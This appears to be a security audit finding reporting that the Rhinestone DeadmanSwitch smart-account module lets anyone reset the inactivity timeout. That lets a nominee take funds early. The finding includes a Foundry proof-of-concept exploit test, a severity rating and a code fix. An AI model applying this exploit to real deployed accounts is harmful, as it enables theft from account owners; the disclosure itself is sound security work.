rhinestone1.md

Nominees Can Claim Funds Instantly

Rhinestone has developed a set of modules that users can install for their smart accounts. More details can be found here.

During the validation of smart accounts, the validateUserOp function invoked by the entry point on the smart account dissects the respective validator and calls validateUserOp() on top of that module.

One of the developed modules, DeadmanSwitch, allows account owners to set a nominee who can access the account if there has been no activity for a specified period. This is enforced using lastAccess and timeout, manipulated through validateUserOp and pre/postCheck.

DeadmanSwitch.sol

struct DeadmanSwitchStorage {
    uint48 lastAccess;
    uint48 timeout;
    address nominee;
}

// account => config
mapping(address account => DeadmanSwitchStorage) public config;

function validateUserOp(
        PackedUserOperation calldata userOp,
        bytes32 userOpHash
    )
        external
        override
        returns (ValidationData)
    {
        // Get the config for the sender
        DeadmanSwitchStorage memory _config = config[userOp.sender];
        // Get the nominee
        address nominee = _config.nominee;
        // ...

        config[userOp.sender].timeout = 0;

        // ...
    }

However, a flaw in the validateUserOp function allows anyone, including the nominee, to reset the timeout to zero. This action grants the nominee immediate access to the account funds, bypassing the intended delay.

---

Exploit Scenario:

An attacker can directly invoke validateUserOp on the DeadmanSwitch using userOp.sender set to the user's account, regardless of the signature's validity. This action resets the timeout to zero, allowing the nominee to immediately access the account funds without waiting for the predefined timeout period.

---

Proof of Concept (POC):

// Inside DeadmanSwitchIntegrationTest

 function test_ValidateUserOp_POC() public {
            
            /*//////////////////////////////////////////////////////////////////////////
                                    Expected Behaviour
            //////////////////////////////////////////////////////////////////////////*/

            vm.warp(block.timestamp);
            address target = makeAddr("target");

            UserOpData memory userOpData = instance.getExecOps({
                target: target,
                value: 100,
                callData: "",
                txValidator: address(dms)
            });
            userOpData.userOp.signature = signHash(_nomineePk, userOpData.userOpHash);
            
            vm.expectRevert(); 
            userOpData.execUserOps(); // revert

            /*//////////////////////////////////////////////////////////////////////////
                                    Attack
            //////////////////////////////////////////////////////////////////////////*/
            vm.warp(block.timestamp);
            
            // step 1: set timeout to 0
            UserOpData memory randomUserOpData = instance.getExecOps({
                target: target,
                value: 100,
                callData: "",
                txValidator: address(dms)
            });
            uint256 _randomPk;
            (,_randomPk) = makeAddrAndKey("random"); // could be any account, nominee itself, it doesnt matter
            randomUserOpData.userOp.signature = signHash(_randomPk, userOpData.userOpHash);
            dms.validateUserOp(randomUserOpData.userOp, randomUserOpData.userOpHash);

            // step 2: access funds
            userOpData = instance.getExecOps({
                target: target,
                value: 100,
                callData: "",
                txValidator: address(dms)
            });
            userOpData.userOp.signature = signHash(_nomineePk, userOpData.userOpHash); // needs to be from nominee
            userOpData.execUserOps();
            assertEq(target.balance, 100);
        }

---

Severity Assessment:

• Impact:
  High
  Account owners could lose access to their funds if nominees exploit this vulnerability. Funds could be irretrievably transferred to nominees.

• Likelihood:
  Medium
  There is no incentive for anyone random to do this other than causing chaos, since in the end only the nominee could access the funds. Hence, the beneficiary is the nominee themselves. In the real world, nominees are often people you trust, so although it's easily possible for any account, the loss of funds might not happen for every case.

Overall Severity:
High
Considering this, I would rate this finding as High. It's not critical given the enforcement of a certain beneficiary (nominee), and it's not medium either given it allows any nominee complete access to the account owner's funds, breaking the variant.

---

Recommendation:

Consider using _getAccount() as the key instead of userOp.sender when accessing the configuration in validateUserOp.

Change:

DeadmanSwitchStorage memory _config = config[userOp.sender];

To:

DeadmanSwitchStorage memory _config = config[_getAccount()];

---

Also FYI, it seems this issue was caused by fix you did for H5 from your audit done by ackee-blockchain. Well fixes are always tricky :)